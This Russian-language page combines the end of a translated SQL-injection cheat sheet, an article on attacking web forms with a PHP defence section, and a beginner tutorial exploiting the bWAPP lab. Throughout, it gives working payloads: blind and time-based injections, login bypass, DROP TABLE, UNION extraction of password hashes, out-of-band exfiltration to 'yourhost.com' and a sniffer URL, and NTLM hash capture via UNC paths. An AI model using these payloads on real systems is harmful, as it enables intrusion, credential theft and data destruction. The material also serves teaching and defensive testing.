Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE xtype="U" and i.id<=o.id) AS x, name from sysobjects o WHERE o.xtype = "U") as p where p.x=21

28. Быстрый способ извлечь данные из Error Based SQL-инъекции в SQL Server (S)
";BEGIN DECLARE @rt varchar(8000) SET @rd=":" SELECT @rd=@rd+" "+name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = "MEMBERS") AND name>@rd SELECT @rd AS rd into TMP_SYS_TMP end;--

29. Поиск структуры БД в MySQL (M)
Примеры:
SELECT table_name FROM information_schema.tables WHERE table_schema = "tablename"
Получение пользовательских таблиц

SELECT table_name, column_name FROM information_schema.columns WHERE table_schema = "tablename"
Получение названий столбцов

30. Поиск структуры БД в Oracle (O)
Примеры:
SELECT * FROM all_tables WHERE OWNER = "DATABASE_NAME"
Получение пользовательских таблиц

SELECT * FROM all_col_comments WHERE TABLE_NAME = "TABLE"
Получение названий столбцов

31. Слепые инъекции
В качественном приложении вы не сможете увидеть сообщения об ошибках. Вы не сможете использовать оператор UNION и Error Based атаки. Вам придётся использовать слепые SQL-инъекции для извлечения данных. Существует два типа слепых инъекций.
Обычная слепая инъекция: вы не можете видеть результаты запросов на странице, но можете определить результат из ответа или HTTP-статуса.
Полностью слепая инъекция: Вы не увидите никакой разницы в выходных данных.
В обычных слепых инъекциях вы можете использовать операторы IF и WHERE, в полностью слепых инъекциях вам нужно использовать некоторые функции ожидания и сравнивать время отклика. Для этого можно использовать WAIT FOR DELAY ‘0:0:10’ в SQL Server, BENCHMARK() и sleep(10) в MySQL, pg_sleep(10) в PostgreSQL.
Пример:
Этот пример основан на реальной эксплуатации слепой инъекции на SQL Server.

TRUE: SELECT ID, Username, Email FROM WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>78--

FALSE: SELECT ID, Username, Email FROM WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>103--

FALSE: SELECT ID, Username, Email FROM WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>89--

FALSE: SELECT ID, Username, Email FROM WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>83--

TRUE: SELECT ID, Username, Email FROM WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>79--

FALSE: SELECT ID, Username, Email FROM WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>80--

Исходя из двух последних запросов мы точно знаем значение первого символа в ascii – это 80. Значит, первый символ это `P`. Таким образом мы можем узнать названия таблиц и их содержимое. Другой способ – читать данные побитово.

32. Полностью слепая инъекция
Используйте данный метод только в случае действительно слепой инъекции. Будьте осторожны со временем ожидания.
Синтаксис:
WAIT FOR DELAY "time" (S)
Функция просто ждёт указанное время, не загружая процессор.
Примеры:
if (select user) = "sa" waitfor delay "0:0:10"
ProductID =1;waitfor delay "0:0:10"--
ProductID =1);waitfor delay "0:0:10"--
ProductID =1";waitfor delay "0:0:10"--
ProductID =1");waitfor delay "0:0:10"--
ProductID =1));waitfor delay "0:0:10"--
ProductID =1"));waitfor delay "0:0:10"--
Синтаксис:
BENCHMARK(howmanytimes, do this) (M)
Пример:
IF EXISTS (SELECT * FROM users WHERE username = "root") BENCHMARK(1000000000,MD5(1))
Проверяем наличие пользователя root.

IF (SELECT * FROM login) BENCHMARK(1000000,MD5(1))
Проверяем наличие таблицы в MySQL
Синтаксис:
pg_sleep(seconds) (P)
Sleep for supplied seconds.

sleep(seconds) (M)
sleep for supplied seconds.

bms_pipe.receive_message (O)
sleep for supplied seconds.
Пример:
(SELECT CASE WHEN (NVL(ASCII(SUBSTR(({INJECTION}),1,1)),0) = 100) THEN dbms_pipe.receive_message(("xyz"),10) ELSE dbms_pipe.receive_message(("xyz"),1) END FROM dual)
{INJECTION} – ваш запрос.
Если условие истинно, отклик будет 10 секунд. В противном случае отклик будет 1 секунду.

33. Полезные функции MySQL
Синтаксис:
MD5()
SHA1()
PASSWORD()
ENCODE()
COMPRESS()
ROW_COUNT()
SCHEMA()
VERSION()

34. Second Order SQL Injections
Обычно, вы вставляете запрос для SQL-инъекции в поле и ожидаете, что он не отфильтруется.
Пример:
Name: " + (SELECT TOP 1 password FROM users) + "
Email: [email protected]
Если приложение использует имя поля хранимой процедуры или функции, то вы можете использовать это для инъекции.

35. Использование SQL Server для извлечения NTLM-хешей
Данная атака поможет получить через SQL Server пароль пользователя Windows целевого сервера, если нет доступа извне. Мы можем заставить SQL Server подключиться к Windows по UNC-пути и извлечь NTLM-сессию специальными инструментами, например Cain & Abel.

Синтаксис:
UNC-путь: "\\YOURIPADDRESS\C$\x.txt"
36. Другие примеры инъекций
SQL Server:
?vulnerableParam=1; SELECT * FROM OPENROWSET("SQLOLEDB", ({INJECTION})+".yourhost.com";"sa";"pwd", "SELECT 1")

?vulnerableParam=1; DECLARE @q varchar(1024); SET @q = "\\"+({INJECTION})+".yourhost.com\\test.txt"; EXEC master..xp_dirtree @q
создаёт DNS-запрос к {INJECTION}.yourhost.com

{INJECTION} — ваш запрос.
MySQL:
?vulnerableParam=-99 OR (SELECT LOAD_FILE(concat("\\\\",({INJECTION}), "yourhost.com\\")))
Создаёт NBNS/DNS-запрос к yourhost.com
?vulnerableParam=-99 OR (SELECT ({INJECTION}) INTO OUTFILE "\\\\yourhost.com\\share\\output.txt")
Записывает данные в ваш файл
{INJECTION} — ваш запрос.
Oracle:
?vulnerableParam=(SELECT UTL_HTTP.REQUEST("http://host/ sniff.php?sniff="||({INJECTION})||"") FROM DUAL)
Сниффер будет сохранять результаты
?vulnerableParam=(SELECT UTL_HTTP.REQUEST("http://host/ "||({INJECTION})||".html") FROM DUAL)
Результаты будут сохранены HTTP-логи
?vulnerableParam=(SELECT UTL_INADDR.get_host_addr(({INJECTION})||".yourhost.com") FROM DUAL)

?vulnerableParam=(SELECT SYS.DBMS_LDAP.INIT(({INJECTION})||’.yourhost.com’,80) FROM DUAL)
Вам нужно анализировать трафик DNS-запросов к yourhost.com
{INJECTION} — ваш запрос.

Этот материал является адаптивным переводом статьи SQL Injection Cheat Sheet .

Мы желаем вам успехов в его прохождении. Итоги вашего прохождения будут опубликованы позже (следите за новостями в соц. сетях), а также всем прошедшим в дальнейшем будет выслан инвайт для регистрации на сайте.

Ставьте лайки, делитесь с друзьями и коллегами, репостите в соц.сетях.

Все программисты читали или по крайней мере слышали о методах взлома безопасности веб-сайта. Или даже столкнулись с этой проблемой. С другой стороны, бесконечна фантазия тех, кто хочет сломать сайт, поэтому все узкие места должны быть хорошо защищены. Вот почему я хотел бы начать серию коротких статей, где будут представлены основные методы и приемы взлома веб-сайтов.

В первой статье я хотел бы описать и разъяснить некоторые общие методы взлома одного из самых уязвимых частей сайта — форм. Я буду подробно останавливаться на том, как использовать эти методы и как предотвратить атаки, а также расскажу о тестировании безопасности.

SQL инъекции

SQl-инъекция — это такая техника, когда злоумышленник вводит команды SQL в input поле на веб-странице. Этим imput`ом может быть что угодно — текстовое поле в форме, параметры _GET и _POST, cookies и т. д. Этот метод был весьма эффективным до появления фреймворков в мире PHP. Но этот способ взлома может быть по-прежнему опасен, если вы не используете ORM или какие-либо еще расширения для data object. Почему? Из-за способа передачи параметров в SQL запрос.

"Слепые" инъекции

Давайте начнем с классического примера SQL-statement`а, возвращающего пользователя по его логину и хешу от пароля (страница входа)

Пример 1

mysql_query ("SELECT id, login FROM users WHERE login = ? and password = hash(?)");

Я подставил вопросительные знаки в выражение из-за различных вариаций этого решения. Первый вариант, на мой взгляд, самый уязвимый:

Пример 1а

Mysql_query("SELECT id, login FROM users WHERE login = "" . $login . "" and password = hash("" . $password . "")");

В этом случае в коде нет проверки на ввод неправильных данных. Значения передаются прямо из формы ввода в SQL запрос. В самом лучшем случае пользователь введет здесь свои логин и пароль. Что случится в худшем случае? Давайте попробуем хакнуть эту форму. Это можно сделать, передав "подготовленные" данные. Попытаемся войти как первый пользователь из базы данных, а в большинстве случаев — это админский аккаунт. Для этого, передадим специальную строку вместо ввода логина:

" OR 1=1; --

Первая кавычка может быть и одинарной, поэтому одной попыткой взлома можно не обойтись. В конце стоят точка с запятой и два дефиса, чтобы всё, что идёт после превратилось в комментарий. В результате будет выполнен следующий SQL запрос:

SELECT id, login FROM users WHERE login = “;” OR 1=1 LIMIT 0,1; - and password = hash(“;Some password”)

Он вернет первого пользователя из базы данных и, возможно, залогинится под ним в приложении. Хорошим ходом будет добавить LIMIT, чтобы входить под каждым отдельным пользователем. Это единственное, что нужно, чтобы пройти по каждому значению.

Более серьезные способы

В предыдущем примере всё не так уж страшно. Возможности в админской панели управления всегда имеют ограничения и потребуется реально много работы, чтобы поломать сайт. А вот атака через SQL инъекции может привести к куда большим повреждениям системы. Задумайтесь, сколько приложений создаются с главной таблицей "users" , и что будет, если злоумышленник введет такой код в незащищённую форму:

My favorite login"; DROP TABLE users; --

Таблица "users" будет удалена. Это одна из причин почаще делать бэкапы баз данных.

_GET параметры

Все параметры, заполненные через форму, передаются на сервер одним из двух методов — GET или POST. Наиболее распространенный параметр, передаваемый через GET — id. Это одно из самых уязвимых мест для атак, при этом неважно, какого вида урл вы используете — ` http://example.com/users/?id=1 `, или ` http://example.com/users/1 `, или ` http://......./.../post /35 `.

Что произойдет, если мы подставим в урл следующий код?

Http://example.com/users/?id=1 AND 1=0 UNION SELECT 1,concat(login,password), 3,4,5,6 FROM users WHERE id =1; --

Вероятно, такой запрос вернет нам логин пользователя и... хеш от его пароля. Первая часть запроса `AND 1=0` превращает то, что перед ним в false, соответственно никаких записей не будет получено. А вторая часть запроса вернет данные в виде prepared data. А так как первым параметром идет id, следующим будет логин пользователя и хеш его пароля и еще сколько-то параметров. Существует множество программ, с помощью брутфорса декодирующих такой пароль, как в примере. А так как пользователь может использовать один и тот же пароль для разных сервисов, можно получить доступ и к ним.

И вот что любопытно: от такого способа атаки совершенно невозможно защититься методами вроде `mysql_real_escape_string`, `addslashes` и.т. д. В принципе, нет способа избежать такой атаки, поэтому, если параметры будут передаваться так:

"SELECT id, login, email, param1 FROM users WHERE id = " . addslashes($_GET["id"]);"

проблемы не исчезнут.

Экранирование символов в строке

Когда я был новичком в программировании, мне было тяжело работать с кодировками. Я не понимал, в чем между ними различие, зачем использовать UTF-8, когда нужно UTF-16, почему база данных постоянно устанавливает кодировку в latin1. Когда я наконец начал всё это понимать, то обнаружил, что проблем станет меньше, если хранить всё в одном стандарте кодирования. Разбираясь со всем этим, я заметил также и проблемы безопасности, возникающие при преобразовании из одной кодировки в другую.

Проблем, описанных в большинстве предыдущих примеров, можно избежать, используя одинарные кавычки в запросах. Если вы используете addslashes() , атаки через SQL-инъекции, построенные на использовании одинарных кавычек, экранируемых обратным слэшем, потерпят неудачу. Но такая атака может пройти, если просто подставить символ с кодом 0xbf27 , addslashes() преобразует его в символ с кодом 0xbf5c27 - а это вполне валидный символ одинарной кавычки. Другими словами, `뼧` пройдет через addslashes() , а потом маппинг MySQL конвертирует его в два символа 0xbf (¿) и 0x27 (‘).

"SELECT * FROM users WHERE login = ""; . addslashes($_GET["login"]) . ";"";

Этот пример можно хакнуть, передав 뼧 or 1=1; -- в поле логина в форме. Движок SQL сгенерит конечный запрос так:

SELECT * FROM users WHERE login = "¿" OR 1=1; --

И вернет первого пользователя из БД.

Защита

Как же защитить приложение? Есть куча способов, применение которых не сделает приложение совсем неуязвимым, но хотя бы повысит его защищенность.

Использование mysql_real_escape_string

Функция addslashes() ненадежна, так как не предусматривает многие случаи взлома. У mysql_real_escape_string нет таких проблем

Использование MySQLi

Это расширение для MySQL умеет работать со связанными параметрами:

$stmt = $db->prepare("update uets set parameter = ? where id = ?"); $stmt->bind_param("si", $name, $id); $stmt->execute();

Использование PDO

Длинный способ подстановки параметров:

$dbh = new PDO("mysql:dbname=testdb;host=127.0.0.1", $user, $password); $stmt = $dbh->prepare("INSERT INTO REGISTRY (name, value) VALUES (:name, :value)"); $stmt->bindParam(":name", $name); $stmt->bindParam(":value", $value); // insert one row $name = "one"; $value = 1; $stmt->execute();

Короткий способ:

$dbh = new PDO("mysql:dbname=testdb;host=127.0.0.1", $user, $password); $stmt = $dbh->prepare("UPDATE people SET name = :new_name WHERE id = :id"); $stmt->execute(array("new_name" => $name, "id" => $id));

Использование ORM

Используйте ORM и PDO и связывайте (используйте bind) параметры. Избегайте SQL в коде, если вы видите в коде SQL, значит, с ним что-то не так.

ORM позаботится о безопасности в самых узких местах в коде и о валидации параметров.

Выводы

Цель этой серии не предоставить полное руководство по взлому сайтов, а обеспечить безопасность приложения и предотвращение атак из любого источника. Я постарался написать эту статью не только для программистов — они должны быть в курсе любых угроз в коде и знать пути, как предотвратить их, но также и для инженеров по качеству — потому, что их работа заключается в том, чтобы отследить и сообщить такие моменты.

SQL-инъекция для новичков

SQL-инъекция - это опасная уязвимость, которая возникает из-за недостаточной фильтрации вводимых пользователем данных, что позволяет модифицировать запросы к базам данных. Результатом эксплуатации SQL-инъекции является получение доступа к данным, к которым в обычных условиях у пользователя не было бы доступа.

Обычно SQLi находят в веб-приложениях. Но на самом деле, SQL-инъекции могут быть подвержены любые программы, использующие разные базы данных (не только MySQL/MariaDB).

В качестве примера, рассмотрим приложение, которое обращается к базе данных со следующим запросом:

SELECT `name`, `status`, `books` FROM `members` WHERE name = "Demo" AND password ="111"

Запрос похож на естественный язык (английский), и его значение довольно просто интерпретировать:

Выбрать (SELECT) поля `name`, `status`, `books` из (FROM) таблицы `members` где (WHERE) значение поля name равно величине Demo (name = "Demo") и (AND) значение поля password равно величине 111 (password ="111").

Этот запрос вызывает обход таблицы, в результате которого делается сравнение с каждой строкой, и если условие name = "Demo" AND password ="111" является для какой-либо строки истиной, то она попадает в результаты. В данном случае, результаты будут только если и введённое имя пользователя, и пароль в точности совпадают с теми, которые хранятся в таблице.

При этом значения «Demo» и «111» приложение получает от пользователя - например, в форме входа на сайт.

Предположим, что вместо Demo пользователь ввёл такую строку:

Demo" --

Тогда запрос к базе данных будет иметь вид:

SELECT `name`, `status`, `books` FROM `members` WHERE name = "Demo" -- " AND password ="111"

Две чёрточки () - означают комментарий до конца строки, т.е. всё, что за ними, больше не учитывается. Следовательно, из выражения условия «исчезает» часть " AND password ="111"

Поскольку в комментарии осталась закрывающая кавычка, то она также была введена с именем пользователя, чтобы не сломать синтаксис и не вызвать ошибку, в результате, фактически, к базе данных делался следующий запрос:

SELECT `name`, `status`, `books` FROM `members` WHERE name = "Demo"

В нём была нарушена логика работы программы, заложенная разработчиками. Т.е. теперь поиск в таблице производится только по имени. И если имя совпало, то строка попадает в результаты независимо от введённого пароля. Это и есть пример эксплуатации SQL-инъекции. В реальной ситуации, такая ошибка может быть использована на веб-сайте для входа под учётной записью администратора, для которой достаточно знать только имя, а пароль становится ненужным.

Кроме обхода аутентификации, SQL-инъекция используется для извлечения информации из баз данных, вызова отказа в обслуживании (DoS), эксплуатацию других уязвимостей (вроде XSS) и т.п.

Эксплуатации SQL-инъекции

Каждый раз с любым приложением, где бы не эксплуатировалась SQL-инъекция, используются следующие три базовых правила внедрения:

  • Балансировка
  • Внедрение
  • Комментирование

Балансировка заключается в том, что количество открывающих и закрывающих кавычек и скобок должно быть одинаковым, чтобы не вызвать ошибку синтаксиса. При исследовании ошибки нужно определить, используются, и если используются, то какие кавычки и скобки.

Внедрение заключается в дополнении запроса в зависимости от информации, которую мы хотим получить.

Комментирование позволяет отсечь заключительную часть запроса, чтобы она не нарушала синтаксис.

Комментарии в MySQL начинаются с символов:

Т.е. вместо

Demo" --

можно было бы ввести

Обратите внимание, что после двойной черты обязательно нужен пробел, а после # пробел необязателен.

Можно продолжить менять логику запроса, если в качестве имени пользователя вставить:

Demo" OR 1 --

то получится запрос

SELECT `name`, `status`, `books` FROM `members` WHERE name = " Demo" OR 1 -- " AND password ="111"

Уберём закомментированную часть:

SELECT `name`, `status`, `books` FROM `members` WHERE name = " Demo" OR 1

Мы используем логическое ИЛИ (OR). Логическое ИЛИ возвращает true (истину) если хотя бы одно из выражений является истиной. В данном случае второе выражение 1 всегда является истинной. Следовательно, в результаты попадут вообще все записи таблицы. В реальном веб-приложении можно достичь результата, когда будут выведены данные всех пользователей, несмотря на то, что атакующий не знал ни их логины, ни пароли.

В нашем примере после введённого значения Demo мы ставили одинарную кавычку ("), чтобы запрос оставался правильным с точки зрения синтаксиса. Запрос может быть написан по-разному, например, все следующие формы возвращают одинаковый результат.

Для запросов с цифрой:

SELECT * FROM table_name WHERE id=1 SELECT * FROM table_name WHERE id="1" SELECT * FROM table_name WHERE id="1" SELECT * FROM table_name WHERE id=(1) SELECT * FROM table_name WHERE id=("1") SELECT * FROM table_name WHERE id=("1")

Для запросов со строкой:

SELECT * FROM table_name WHERE id="1" SELECT * FROM table_name WHERE id="1" SELECT * FROM table_name WHERE id=("1") SELECT * FROM table_name WHERE id=("1")

В зависимости от того, как составлен запрос, нужно использовать соответствующие символы парные закрывающие символы, чтобы не происходило нарушения синтаксиса. Например, если бы запрос был записан так (в нём вместо одинарных кавычек, используются двойные):

SELECT * FROM `members` WHERE name = "$name" AND password = "$password"

то имя пользователя

не возымело бы действия и не вызвало бы ошибку. Для обозначения конца введённого имени нужно использовать закрывающую двойную кавычку, т.е.:

Для такого запроса (используются одинарные кавычки и круглые скобки):

SELECT * FROM `members` WHERE name = ("$name") AND password = ("$password")

нужно также закрывать круглые скобки, т.е. для эксплуатации SQL-инъекции нужно ввести что-то вроде

Demo") #

Главными признаками наличия SQL-инъекции является вывод ошибки или отсутствие вывода при вводе одинарной или двойной кавычки. Эти символы могут вызвать ошибку и в самом приложении, поэтому чтобы быть уверенным, что вы имеете дело именно с SQL-инъекцией, а не с другой ошибкой, нужно изучить выводимое сообщение.

Стиль ошибок MySQL:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near "\"" at line 1

Ошибка в MSSQL ASPX:

Server Error in "/" Application

Ошибка в MSAccess (Apache PHP):

Fatal error: Uncaught exception "com_exception" with message Source: Microsoft JET Database Engine

Ошибка в MSAccesss (IIS ASP):

Microsoft JET Database Engine error "80040e14"

Ошибка в Oracle:

ORA-00933: SQL command not properly ended

Ошибка в ODBC:

Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)

Ошибка в PostgreSQL:

PSQLException: ERROR: unterminated quoted string at or near """ Position: 1 или Query failed: ERROR: syntax error at or near """ at character 56 in /www/site/test.php on line 121.

Ошибка в MS SQL Server:

Microsoft SQL Native Client error %u201880040e14%u2019 Unclosed quotation mark after the character string

Информация об СУБД также используется определения, какие символы или последовательности символов можно использовать в качестве комментариев.

Практический пример простой SQL-инъекции

Для тренировки я буду использовать bWAPP (по ссылке описание и процесс установки).

Выбираем баг «SQL Injection (GET/Search) »/

От нас ожидается ввод названия фильма, введём в поиск «Iron Man»:

Iron Man"

Результат

Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near "%"" at line 1

Это говорит о том, что одинарные кавычки не фильтруются и что для обрамления введённых строк не используются двойные кавычки.

Iron Man"

Результат

Т.е. ничего не найдено, это говорит о том, что двойные кавычки также не фильтруются (иначе был бы найден фильм по запросу Iron Man). Также это говорит о том, что для обрамления введённых строк используются одинарные кавычки.

Исходя из полученной информации, формируем строку для вывода всех записей таблицы:

Iron Man" OR 1 #

Результат:

Определение количества столбцов таблицы с помощью ORDER BY

Для создания более сложных команд инъекции нужно знать, сколько в таблице столбцов.

ORDER BY задаёт сортировку полученных из таблицы данных. Можно задавать сортировку по имени столбца, а можно по его номеру. Причём, если столбца с таким номером нет, то будет показана ошибка.

Последовательно пробуем следующие строки (AND 0 используется для подавления лишнего вывода):

Iron Man" AND 0 ORDER BY 1 # Iron Man" AND 0 ORDER BY 2 # Iron Man" AND 0 ORDER BY 3 # ……………………… ……………………… ……………………… Iron Man" AND 0 ORDER BY 7 #

Iron Man" AND 0 ORDER BY 8 #

получен следующий результат:

Error: Unknown column "8" in "order clause"

Это означает, что восьмой столбец отсутствует в таблице, т.е. в таблице всего семь столбцов.

Другой способ нахождения количества столбцов - с помощью того же UNION. Лесенкой прибавляем количество столбцов:

Iron Man" AND 0 UNION SELECT 1 # Iron Man" AND 0 UNION SELECT 1,2 # ……………………… ……………………… ……………………… Iron Man" AND 0 UNION SELECT 1,2,3,4,5,6,7 #

Все они будут вызывать одну и туже ошибку:

Ошибка: The used SELECT statements have a different number of columns

Делайте так пока не исчезнет сообщение об ошибке.

Объединение запросов с UNION SELECT

UNION позволяет объединять результаты в один от нескольких выражений SELECT .

Конструируем наш запрос с UNION :

Iron Man" AND 0 UNION SELECT 1,2,3,4,5,6,7 #

Как я сказал, количество полей должно быть в обоих SELECT одинаковое, а вот что в этих полях — не очень важно. Можно, например, прописать просто цифры — и именно они и будут выведены. Можно прописать NULL - тогда вместо поля ничего не будет выведено.

Обратите внимание, что содержимое некоторых полей UNION SELECT 2,3,4,5 выводится на экран. Вместо цифр можно задать функции.

Что писать в SELECT

Есть некоторые функции и переменные, которые можно писать непосредственно в UNION :

Переменная / Функция Вывод
@@hostname Текущее имя хоста
@@tmpdir Директория для временных файлов
@@datadir Директория с базами данных
@@version Версия БД
@@basedir Базовая директория
user() Текущий пользователь
database() Текущая база данных
version() Версия
schema() Текущая база данных
UUID() Ключ системного UUID
current_user() Текущий пользователь
current_user Текущий пользователь
system_user() Текущий системный пользователь
session_user() Сессионный пользователь
@@GLOBAL.have_symlink Проверка, включены или отключены симлинки
@@GLOBAL.have_ssl Проверка, имеется SSL или нет

Ввод для получения имени базы данных:

Iron Man" AND 0 UNION SELECT 1,database(),3,4,5,6,7 #

База данных INFORMATION_SCHEMA

В списке баз данных MySQL / MariaDB всегда присутствует INFORMATION_SCHEMA . Это служебная БД, которая обеспечивает доступ к метаданным баз данных, информации о сервере MySQL. Проще говоря, она содержит информацию о всех других базах данных, которые поддерживает MySQL / MariaDB сервер. Эта информация включает имена баз данных и таблиц.

Например, следующий запрос выведет имена всех баз данных, присутствующих на сервере:

SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA

  • SELECT и FROM - уже знакомые элементы языка запросов к базам данных;
  • SCHEMA_NAME - имя запрашиваемого столбца;
  • INFORMATION_SCHEMA - имя базы данных, к которой делается запрос;
  • SCHEMATA - имя таблицы, в которой ищется запрашиваемый столбец.

Получение списка всех баз данных на сервере через SQL-инъекцию

Используя UNION , мы можем сделать запрос к базе данных INFORMATION_SCHEMA . Например, чтобы вывести содержимое поля SCHEMA_NAME (имена присутствующих баз данных на сервере), можно сделать примерно следующий ввод:

Иногда скрипт веб-приложения, подверженный SQL-инъекции, выводит только по одной записи. В нашем примере это не так, но если бы, например, ввод

Iron Man" AND 0 UNION SELECT 1,SCHEMA_NAME,3,4,5,6,7 FROM INFORMATION_SCHEMA.SCHEMATA #

выводил только по одной записи, то для того, чтобы посмотреть все таблицы, можно было бы использовать LIMIT . Например, для первой строки:

Iron Man" AND 0 UNION SELECT 1,SCHEMA_NAME,3,4,5,6,7 FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1 #

Для второй строки:

Iron Man" AND 0 UNION SELECT 1,SCHEMA_NAME,3,4,5,6,7 FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 1,1 #

Для третьей строки:

Iron Man" AND 0 UNION SELECT 1,SCHEMA_NAME,3,4,5,6,7 FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 2,1 #

Для четвёртой строки:

Iron Man" AND 0 UNION SELECT 1,SCHEMA_NAME,3,4,5,6,7 FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 3,1 #

Можно задействовать более сложный синтаксис с использованием WHERE и функций. Например, следующий ввод приведёт к показу имён таблиц текущей базы данных:

Iron Man" AND 0 UNION SELECT 1,TABLE_NAME,3,4,5,6,7 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=database() #

Получив имена таблиц баз данных, можно продолжить далее и получить имена столбцов:

Желаемый запрос:

SELECT column_name FROM information_schema.columns WHERE table_schema=database() AND table_name="tablenamehere"

Где вместо tablenamehere нужно подставлять имя таблицы.

Например, нами получены следующий имена присутствующих в базе данных таблиц:

  • heroes
  • movies
  • users
  • visitors

Тогда для получения имён столбцов в таблице blog нужно сформировать запрос

SELECT column_name FROM information_schema.columns WHERE table_schema=database() AND table_name="blog"

Применительно к нашей уязвимости получаем ввод:

Iron Man" AND 0 UNION SELECT 1,COLUMN_NAME,3,4,5,6,7 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA=database() AND TABLE_NAME="blog" #

Здесь также можно применять LIMIT .

Извлечение данных из таблицы с помощью SQL-инъекции

Теперь, когда мы знаем имя базы данных, имя таблицы и имя поля, мы можем извлечь данные из произвольной колонки. Например, ввод:

Например, следующий ввод для нашей уязвимости означает извлечь содержимое колонки login из таблицы users из текущей БД:

Iron Man" AND 0 UNION SELECT 1,login,3,4,5,6,7 FROM users #

Заключение по первой части

В первой части были рассмотрены азы SQL-инъекции. В последующих частях будут рассмотрены различные виды SQLi и примеры эксплуатации в различных условиях. Если у вас возникли затруднения с пониманием этого материала, то рекомендуется начать с изучением языка запросов к базе данных . Если вопросы остались, то пишите их в комментариях.



Есть вопросы?

Сообщить об опечатке

Текст, который будет отправлен нашим редакторам: